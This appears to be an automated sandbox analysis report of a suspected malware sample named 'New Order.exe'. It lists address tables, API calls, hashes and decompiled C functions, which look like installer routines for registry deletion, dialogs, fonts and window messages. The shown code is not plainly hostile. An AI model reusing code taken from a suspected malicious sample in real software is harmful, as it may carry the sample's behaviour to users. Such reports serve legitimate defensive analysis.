0x00000000
0x00000000
0x10001c7b
0x10001c1e
0x10001c1e
0x10001c1f
0x10001c54
0x10001c58
0x10001c67
0x10001c6a
0x00000000
0x00000000
0x10001c6c
0x00000000
0x00000000
0x10001c6e
0x10001c70
0x00000000
0x00000000
0x00000000
0x10001c72
0x10001c5c
0x10001c60
0x00000000
0x10001c60
0x10001c21
0x10001c21
0x10001c24
0x10001c4d
0x10001c4f
0x00000000
0x10001c4f
0x10001c26
0x10001c26
0x10001c29
0x10001c35
0x10001c39
0x10001c46
0x10001c48
0x00000000
0x10001c48
0x10001c3b
0x10001c3d
0x00000000
0x00000000
0x10001c3f
0x10001c42
0x00000000
0x00000000
0x00000000
0x10001c44
0x10001c2c
0x10001c2d
0x10001c2f
0x10001c31
0x10001c31
0x00000000
0x10001c2d
0x10001b56
0x10001bce
0x10001bd0
0x10001bd3
0x10001bf1
0x10001bf4
0x10001bfa
0x10001bff
0x10001bd5
0x10001bd5
0x10001bd9
0x10001bdd
0x10001bdf
0x10001bdf
0x10001c02
0x10001c05
0x00000000
0x10001c0b
0x10001c0b
0x10001c0e
0x00000000
0x10001c0e
0x10001c05
0x10001b58
0x10001b5b
0x10001bbf
0x10001bc1
0x10001bc3
0x00000000
0x00000000
0x00000000
0x10001bc9
0x10001b5d
0x10001b60
0x00000000
0x00000000
0x10001b62
0x10001b63
0x10001b99
0x10001b9d
0x10001bb5
0x10001bb7
0x00000000
0x10001bb7
0x10001b9f
0x10001ba1
0x00000000
0x00000000
0x10001ba7
0x10001baa
0x00000000
0x00000000
0x00000000
0x10001bb0
0x10001b65
0x10001b68
0x10001b8f
0x00000000
0x10001b6a
0x10001b6a
0x10001b6b
0x10001b7f
0x10001b81
0x10001b6d
0x10001b6f
0x10001b75
0x10001b77
0x10001b77
0x10001b6f
0x00000000
0x10001b6b

APIs

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalFree.KERNEL32 ref: 10001B41
GlobalFree.KERNEL32 ref: 10001CCD
GlobalFree.KERNEL32 ref: 10001CD2

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: d5572105e1867ed90a5fd8c1a1141a17fe3d88b1f34ee5dafca5b024a32ddd6e
Instruction ID: 87570af6809aa2a581422fcc871d61123a4e706d96dd3257f7c5f7ed4a9f45a4
Opcode Fuzzy Hash: d5572105e1867ed90a5fd8c1a1141a17fe3d88b1f34ee5dafca5b024a32ddd6e
Instruction Fuzzy Hash: 1F51F372D8415DEBFB22CFA48880EEDB7E5EF852D4FA24159E801A311DD771EE009B52

Uniqueness

Uniqueness Score: -1.00%

Function 00402A69, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A69(void* _a4, char* _a8, intOrPtr _a12) {
				void* _v8;
				char _v272;
				long _t18;
				intOrPtr* _t27;
				long _t28;

				_t18 = RegOpenKeyExA(_a4, _a8, 0,  *0x423ff0 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							return 1;
						}
						if(E00402A69(_v8,  &_v272, 0) != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405F28(4);
					if(_t27 == 0) {
						if( *0x423ff0 != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x423ff0, 0);
				}
				return _t18;
			}

0x00402a8a
0x00402a92
0x00402aba
0x00402aa4
0x00402af4
0x00402afa
0x00000000
0x00402afc
0x00402ab8
0x00000000
0x00000000
0x00402ab8
0x00402acf
0x00402ad7
0x00402ade
0x00402b0a
0x00000000
0x00000000
0x00402b12
0x00402b1a
0x00000000
0x00000000
0x00000000
0x00402b1a
0x00000000
0x00402aed
0x00402b01

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A8A
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AC6
RegCloseKey.ADVAPI32(?), ref: 00402ACF
RegCloseKey.ADVAPI32(?), ref: 00402AF4
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B12

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction ID: fd754328231b90d3809392cacc3778cc58b9849b8c5c25df110c081a09ace752
Opcode Fuzzy Hash: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction Fuzzy Hash: 29116D71A0000AFEDF219F90DE49DAE3B79FB14345B104076FA05A00E0DBB89E51AFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401CDE, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CDE(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8), __edx);
				GetClientRect(_t25, _t27 - 0x50);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E00402A29(_t21), _t21,  *(_t27 - 0x48) *  *(_t27 - 0x20),  *(_t27 - 0x44) *  *(_t27 - 0x20), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ce8
0x00401cef
0x00401d1e
0x00401d26
0x00401d2d
0x00401d2d
0x004028c1
0x004028cd

APIs

GetDlgItem.USER32 ref: 00401CE2
GetClientRect.USER32 ref: 00401CEF
LoadImageA.USER32 ref: 00401D10
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: c677baef4c26648a016b17c6cbe1d7ca5eca33ff03ec9b6ea06848821df726be
Instruction ID: 6b5de524c76fb4cd20547a313357388a8ed9b6ad8842e2156e420fd608a0a23d
Opcode Fuzzy Hash: c677baef4c26648a016b17c6cbe1d7ca5eca33ff03ec9b6ea06848821df726be
Instruction Fuzzy Hash: 75F0EC72A04118AFD701EBA4DE88DAFB77CFB44305B14443AF501F6190C7749D019B79

Uniqueness

Uniqueness Score: -1.00%

Function 00404649, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404649(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					_push(0x14);
					_pop(0);
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_t50 = 0x14;
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E00405BBA(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E00405BBA(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E00405BBA(_t41, _t47, 0x420538, 0x420538, _a8);
				wsprintfA(_t32 + lstrlenA(0x420538), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				return SetDlgItemTextA( *0x423718, _a4, 0x420538);
			}

0x0040464f
0x00404654
0x0040465c
0x0040465d
0x0040466a
0x00404672
0x00404673
0x00404675
0x00404677
0x00404679
0x0040467c
0x0040467c
0x00404683
0x00404689
0x00404689
0x00404690
0x00404697
0x0040469a
0x0040469d
0x0040469d
0x004046a1
0x004046b1
0x004046b3
0x004046b6
0x0040465f
0x0040465f
0x00404666
0x00404666
0x004046be
0x004046c9
0x004046df
0x004046ef
0x0040470b

APIs

lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
wsprintfA.USER32 ref: 004046EF
SetDlgItemTextA.USER32 ref: 00404702

Strings

%u.%u%s%s, xrefs: 004046D1

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction ID: 33c490f36d39f428f4b6feb88c055206d8f5fbd89635bf607d329e374d543c8d
Opcode Fuzzy Hash: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction Fuzzy Hash: 5A11D873A0512437EB0065699C41EAF329CDB82335F150637FE26F31D1E9B9DD1145E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BCA, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BCA() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 8) = E00402A0C(3);
				 *(_t55 + 8) = E00402A0C(4);
				if(( *(_t55 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 8)) = E00402A29(0x33);
				}
				__eflags =  *(_t55 - 0x14) & 0x00000002;
				if(( *(_t55 - 0x14) & 0x00000002) != 0) {
					 *(_t55 + 8) = E00402A29(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E00402A29();
					_t28 = E00402A29();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 8),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E00402A0C();
					_t37 = E00402A0C();
					_t48 =  *(_t55 - 0x14) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8));
						L10:
						 *(_t55 - 0xc) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8), _t42, _t48, _t55 - 0xc);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x28)) >= _t42) {
					_push( *(_t55 - 0xc));
					E00405AF6();
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bd3
0x00401bdf
0x00401be2
0x00401beb
0x00401beb
0x00401bee
0x00401bf2
0x00401bfb
0x00401bfb
0x00401bfe
0x00401c02
0x00401c04
0x00401c51
0x00401c53
0x00401c5c
0x00401c64
0x00401c67
0x00401c67
0x00401c70
0x00000000
0x00401c06
0x00401c0d
0x00401c0f
0x00401c17
0x00401c1a
0x00401c42
0x00401c76
0x00401c76
0x00401c1c
0x00401c2a
0x00401c32
0x00401c35
0x00401c35
0x00401c1a
0x00401c79
0x00401c7c
0x00401c82
0x00402866
0x00402866
0x004028c1
0x004028cd

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction ID: 8eb34b9659dedbc099cc11ce9bc18cab6bc834bdcc036981f8d30f042af137bc
Opcode Fuzzy Hash: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction Fuzzy Hash: C621A171A44149BEEF02AFF4C94AAEE7B75EF44704F10407EF501BA1D1DAB88A40DB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040568B, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040568B(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x0040568c
0x004056a3
0x004056ab
0x004056ab
0x004056b3

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030E8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405691
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030E8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 0040569A
lstrcatA.KERNEL32(?,00409010), ref: 004056AB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040568B

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction ID: e5ee9c2d52b027f92723a61f0ff242ac356e57f7af316d882355b101730f0027
Opcode Fuzzy Hash: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction Fuzzy Hash: 05D0A972606A302AE60227158C09F8B3A2CCF02321B040462F540B6292C2BC7D818BEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401D38, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D38() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 8)), 0x5a);
				0x40b014->lfHeight =  ~(MulDiv(E00402A0C(2), _t6, 0x48));
				 *0x40b024 = E00402A0C(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x18));
				 *0x40b02b = 1;
				 *0x40b028 = _t11 & 0x00000001;
				 *0x40b029 = _t11 & 0x00000002;
				 *0x40b02a = _t11 & 0x00000004;
				E00405BBA(_t18, _t24, _t26, 0x40b030,  *((intOrPtr*)(_t28 - 0x24)));
				_t14 = CreateFontIndirectA(0x40b014);
				_push(_t14);
				_push(_t26);
				E00405AF6();
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d46
0x00401d5f
0x00401d69
0x00401d6e
0x00401d79
0x00401d80
0x00401d92
0x00401d98
0x00401d9d
0x00401da7
0x004024eb
0x00401561
0x00402866
0x004028c1
0x004028cd

APIs

GetDC.USER32(?), ref: 00401D3F
GetDeviceCaps.GDI32(00000000), ref: 00401D46
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D55
CreateFontIndirectA.GDI32(0040B014), ref: 00401DA7

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction ID: 0c2e595a2d755a053b7cc3d6c09569b1e3f8f946256c05fe5e222a6b1ed621d0
Opcode Fuzzy Hash: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction Fuzzy Hash: B0F0C870E48280AFE70157705F0ABAB3F64D715305F100876F251BA2E3C7B910088BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402BF1, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BF1(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x4170e0; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x423f4c;
						if(_t2 >  *0x423f4c) {
							_t3 = CreateDialogParamA( *0x423f40, 0x6f, 0, E00402B6E, 0);
							 *0x4170e0 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00405F64(0);
					}
				} else {
					_t6 =  *0x4170e0; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x4170e0 = 0;
					return _t6;
				}
			}

0x00402bf8
0x00402c12
0x00402c18
0x00402c22
0x00402c28
0x00402c2e
0x00402c3f
0x00402c48
0x00000000
0x00402c4d
0x00402c54
0x00402c1a
0x00402c21
0x00402c21
0x00402bfa
0x00402bfa
0x00402c01
0x00402c04
0x00402c04
0x00402c0a
0x00402c11
0x00402c11

APIs

DestroyWindow.USER32(00000000,00000000,00402DD1,00000001), ref: 00402C04
GetTickCount.KERNEL32 ref: 00402C22
CreateDialogParamA.USER32(0000006F,00000000,00402B6E,00000000), ref: 00402C3F
ShowWindow.USER32(00000000,00000005), ref: 00402C4D

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction ID: 902fecb1894dce430947e24fe85b059bfb73d5b7bbd16117cdf5d745fa908bfb
Opcode Fuzzy Hash: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction Fuzzy Hash: 37F03030A09321ABC611EF60BE4CA9E7B74F748B417118576F201B11A4CB7858818B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004038B4, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038B4(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405B0F(__ecx, "1033");
				while(1) {
					_t26 =  *0x423f84;
					if(_t26 == 0) {
						goto L7;
					}
					_t16 =  *( *0x423f50 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423f80;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423720 = _t18[1];
					 *0x423fe8 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42371c = _t23;
						E00405AF6(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420510, E00405BBA(_t13, _t24, _t26, 0x423740, 0xfffffffe));
						_t11 =  *0x423f6c;
						_t27 =  *0x423f68;
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t11 = E00405BBA(_t13, _t25, _t27, _t27 + 0x18, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x004038b8
0x004038bd
0x004038c3
0x004038c8
0x004038c8
0x004038d0
0x00000000
0x00000000
0x004038d8
0x004038e0
0x004038e2
0x004038e8
0x004038e8
0x004038ea
0x004038f6
0x00000000
0x00000000
0x004038fa
0x00000000
0x00000000
0x00000000
0x004038fc
0x00403901
0x0040390a
0x00403910
0x00403915
0x00403929
0x00403934
0x0040394c
0x00403952
0x00403957
0x0040395f
0x00403980
0x00403980
0x00403980
0x00403961
0x00403963
0x00403963
0x00403967
0x0040396e
0x0040396e
0x00403973
0x00403979
0x00403979
0x00000000
0x00403963
0x00403917
0x0040391c
0x00403925
0x0040391e
0x0040391e
0x0040391e
0x0040391c

APIs

SetWindowTextA.USER32(00000000,00423740), ref: 0040394C

Strings

"C:\Users\user\Desktop\New Order.exe" , xrefs: 004038B5
1033, xrefs: 004038B8, 004038C2, 00403933

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\New Order.exe" $1033
API String ID: 530164218-1065005996
Opcode ID: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction ID: 9405f6c8d043b7fcf606726b90d8bdb5e10644d2b1bbff0bcd5da451eaf68503
Opcode Fuzzy Hash: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction Fuzzy Hash: D211CFB1F006119BC7349F15E88093777BDEB89716369817FE801A73E0D67DAE029A98

Uniqueness

Uniqueness Score: -1.00%

Function 00404DD4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404DD4(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420520 != _t22) {
							 *0x420520 = _t22;
							E00405B98(0x420538, 0x425000);
							E00405AF6(0x425000, _t22);
							E0040140B(6);
							E00405B98(0x425000, 0x420538);
						}
						L11:
						return CallWindowProcA( *0x420528, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E00404753(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403EA0(0x413);
				return 0;
			}

0x00404de0
0x00404e05
0x00404e25
0x00404e28
0x00404e2b
0x00404e42
0x00404e48
0x00404e4f
0x00404e56
0x00404e5d
0x00404e62
0x00404e68
0x00000000
0x00404e78
0x00404e12
0x00404e65
0x00404e65
0x00000000
0x00404e65
0x00404e1e
0x00404e20
0x00000000
0x00404e20
0x00404de6
0x00000000
0x00000000
0x00404ded
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00404E0A
CallWindowProcA.USER32 ref: 00404E78

Part of subcall function 00403EA0: SendMessageA.USER32(?,00000000,00000000,00000000), ref: 00403EB2

Strings

, xrefs: 00404DE2

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction ID: 907b3508a45335f305929b628defbf7950d0c65962cf50d158fef9db48df65ea
Opcode Fuzzy Hash: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction Fuzzy Hash: 3B11BF71600208BFDF21AF61DC4099B3769BF843A5F40803BF604791A2C7BC4991DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004024F1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
filestringCOMMON

Download Yara Rule

